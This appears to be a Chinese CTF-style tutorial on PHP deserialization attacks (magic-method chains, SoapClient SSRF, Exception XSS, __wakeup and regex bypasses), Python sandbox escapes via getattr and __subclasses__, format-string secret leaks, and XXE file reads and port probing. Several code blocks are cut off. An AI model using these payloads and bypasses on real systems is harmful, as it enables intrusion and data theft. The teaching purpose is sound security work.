1 反序列化漏洞
此处以PHP反序列化为例,假设序列化前的对象如下:
1 | class person { |
通过 serialize()
函数进行序列化可以得到 O:6:"person":3:{s:4:"name";N;s:3:"age";i:19;s:3:"sex";N;}
其中 O
表示这是一个对象,6
表示对象名的长度,"person"
表示序列化的对象名称,3
表示对象有3个属性;第一个属性的 s
表示是字符串,4
表示是属性名的长度,后面说明属性名称为 "name"
,他的值是空 N
;第二个属性的 s
表示是字符串,3
表示是属性名的长度,后面说明属性名称为 "age"
,i
表示为整型,值为 19
;以此类推。
接下来举一个反序列化攻击的例子:
1 |
|
上述代码中定义了test类及其析构函数(在对象被销毁的时候调用),反序列化会重建对象,当对象被销毁时,自动调用其析构函数 __destruct()。对于参数cmd,我们可以传入一些恶意命令,例如 system("whoami")
。
再举一个例子:
1 | class lemon { |
上述代码构造了类lemon,以及其构造函数(新建一个evil类)和其析构函数(执行evil类的action()方法),在action方法中 eval($this->data);
可以执行任意代码。
注意,因为 $ClassObj
是protected属性,所以存在 %00*%00
来表示它,而 %00
是不可见字符,在构造Exploit的时候尽量使用urlencode后的字符串来避免 %00
的缺失。
1.1 原生类利用
实际的挖洞过程中经常会遇到没有合适的利用链,这就需要用到编程语言自带的原生类,以PHP为例。
__call
方法:调用不存在的类时触发1
2$rce = unserialize($_REQUEST['u'])
echo $rce->notexist();通过unserialize进行反序列化,再调用类的notexibt()方法,即会触发__call()方法。PHP存在内置类
SoapClient::__Call
,意味着可以进行一个SSRF攻击。1
serialize(new SoapClient(null, array('uri'=>'http://vps/', 'location'=>'http://vps/aaa')))
上面是对new SoapClient进行配置,将uri设置为自己VPS服务器地址。将以上生成的字符串放入unserialize函数进行反序列化,再进行不存在方法的调用,则会进行SSRF攻击。在 SoapClient 中,call() 的作用是根据传入的方法名和参数,构造一个 SOAP 请求。
SoapClient::Call()
会依据指定的 location 属性,构造一个 XML 格式的 SOAP 请求,将请求发送到 location 指定的 URL。__toString
方法:当对象作为字符串处理时会自动触发1
urlencode(serialize(new Exception("<scrpit>alert(/hello world/)</script>")))
此处主要利用了Exception类没有对错误消息进行过滤,最终导致反序列化输出的内容在网页上构成XSS
__construct
方法:通常情况下,在反序列化中时无法触发__construct魔术方法,但是经过开发者魔改后便可能存在任意类实例化的情况。
参考:https://5haked.blogspot.jp/2016/10/how-i-hacked-pornhub-for-fun-and-profit.html?m=1
1.2 Tricks
__wakeup失效:影响版本PHP5至5.6.25、PHP7至7.0.10
__wakeup() 是 PHP 的一个魔术方法,主要在反序列化对象时被调用。它的主要功能是:
• 在对象反序列化后重新建立资源(例如数据库连接)。
• 执行一些安全检查,确保对象的状态在反序列化后是安全的。
如果由于某些原因(当属性个数不对时,process_nested_data函数会返回0,导致后面的call_user_function_ex函数不会执行)则PHP中就不会调用__wakeup()。
对应真实案例 SugarCRM v6.5.23
bypass反序列化正则
前提:在执行反序列化时,使用正则
/[oc]:\d+:/i
进行拦截,用于拦截反序列化字符串构造如下对象
O:+4:"demo":1:{s:5:"demoa";a:0:{}}
,PHP源码会对O:
后为+
的字符串进行特判,从而绕过。反序列化字符逃逸
我们编写一个
filter
函数,用来对字符串进行替换,将占位字符串替换为恶意字符串payload。 利用过滤函数提供的字符变化功能来逃逸可用字符串,从而注入想要修改的属性。PHP引用
1
2
3
4
5
6
7
8
9class just4fun {
var $enter;
var $secret;
}
$o = unserialize($_GET['d']);
$o->secret = "you don't know the secret";
if ($o->secret === $o->enter) {
echo "win!";
}通过代码可以看到,我们的目标是使if语句成立,即
$o->secret === $o->enter
为真。为此我们可以在初始化时利用&
将 enter 指向 secret 的地址,通过引用的方式让两者的属性值相同。1
2
3
4
5
6
7class just4fun {
var $enter;
var $secret;
function just4fun() {
$this->enter = &$this->secret;
}
}Exception 绕过
有时候会遇上throw问题,因为报错导致后面代码无法执行
1
2
3
4
5
6
7
8
9
10
11$line = trim(fgets(STDIN));
$flag = file_get_contents('/flag');
class B {
function __destruct() {
global $flag;
echo $flag;
}
}
$a = @unserialize($line);
throw new Exception('Well this was unexcepted...');
echo $a如果 line 的内容被反序列化为一个 B 类的实例对象,那么在程序退出时,这个对象会被销毁,从而触发 __destruct(),导致 flag 的内容被打印出来。
2. Python的安全问题
2.1 沙箱逃逸
CTF中存在一种让用户提交一段代码给服务端、让服务端去运行的题型,一般出题者会进行关键词过滤。
关键词过滤
比如出题者过滤
ls
或system
等词。但因为python时动态语言,这种情况很容易被绕过。1
2
3
4
5import os
os.system("ls") # 运行操作系统命令 "ls"
os.system("l" + "s")
getattr(os, "sys" + "tem")("ls") # getattr()函数用于从对象中动态获取属性
os.__getattribute__("system")("ls") # 直接获取模块的属性对于字符串,我们可以加入拼接、倒序或者base64编码等方法。
花样import
很多情况下
import
关键词也会被过滤。1
2
3
4import os
__import__("os")
import importlib
importlib.import_module("os")利用继承等寻找对象
在Python中,一切都是对象,所以我们可以使用Python的内置方法来找到对象的父类和子类,甚至在受限环境中探索和访问我们需要的对象。如
__bases__
属性可以访问父类,__subclasses__()
方法可以返回所有直接继承该类的子类,__mro__
是用于查看类的继承顺序的方法等。1
2
3
4
5
6
7
8
9# 搜索所有子类,查找可能的 Popen 类
for subclass in object.__subclasses__():
if 'Popen' in subclass.__name__:
PopenClass = subclass
break
# 使用找到的 Popen 类执行命令
popen_instance = PopenClass(["ls"], shell=True)
popen_instance.communicate()eval类的代码执行
eval类函数在任何语言都是一种危险的存在,我们在Python语言中可以通过
exec()
(Python2)、execfile()
、eval()
、compile()
、input()
(Python2)等动态执行一段Python代码。】
2.2 格式化字符串
CTF的Python题目会设计Jinja2之类的模板引擎的注入。这些漏洞往往源于服务端没有对用户的输入进行过滤,直接带入了页面渲染。
最原始的
%
1
2
3
4
5userdata = {"user": "jdoe", "password": "12345"}
passwd = raw_input("Password: ")
if passwd != userdata["password"]:
print("Password " + passwd + "is wrong")上述代码实现了一个简单的登录功能,并且没有做任何过滤将用户的输入直接显示在了界面。因此如果我们的用户输入是
%(passwd)s
就可以获取用户的真实密码。Format 方法相关
上一个例子还可以用format进行改写
print("Password " + passwd + "is wrong for user {user}").format(**userdata)
,此时如果恶意输入为{password}
则可以获取用户的真实密码。除此之外,format方法还有其他应用:
1
2import os
'0.system'.format(os)在这个例子中,字符串 0.system 中的 0 是一个占位符,通过 format(os) 替换 0 为 os。再继续获取相关属性,由此可以获取代码中的敏感信息。
2.3 Python XXE
XXE(XML External Entity Injection,XML 外部实体注入)是一种安全漏洞,允许攻击者利用 XML 解析器加载并执行外部实体。在处理不受信任的 XML 文件时,特别是使用不安全的解析器设置时,可能导致 XXE 漏洞。这类攻击可以泄露敏感信息、读取文件,甚至在某些情况下发起服务端请求。
例如,一个不安全的 XML 文件可能包含如下内容:
1 |
|
如果 XML 解析器不加限制地解析该 XML 文件,&xxe;
实体将被替换为 /etc/passwd
文件的内容,从而导致敏感信息泄露。
在 Python 中,xml.etree.ElementTree、lxml 等库如果配置不当,可能会受到 XXE 漏洞影响。以下是一个不安全的代码示例,展示如何使用 xml.etree.ElementTree 库解析含有 XXE 的 XML:
1 | import xml.etree.ElementTree as ET |
在这个示例中,&xxe;
实体指向文件 /etc/passwd
,导致文件信息泄露。
除此之外,我们可以利用XXS进行内网端口和服务窥探:
1 |
|
如果端口开放且有响应,解析器会替换 &test; 和 &test2; 实体内容为返回的响应内容。
- 如果端口关闭或没有响应,解析器则不会返回内容(或抛出错误),从而可以推测端口状态。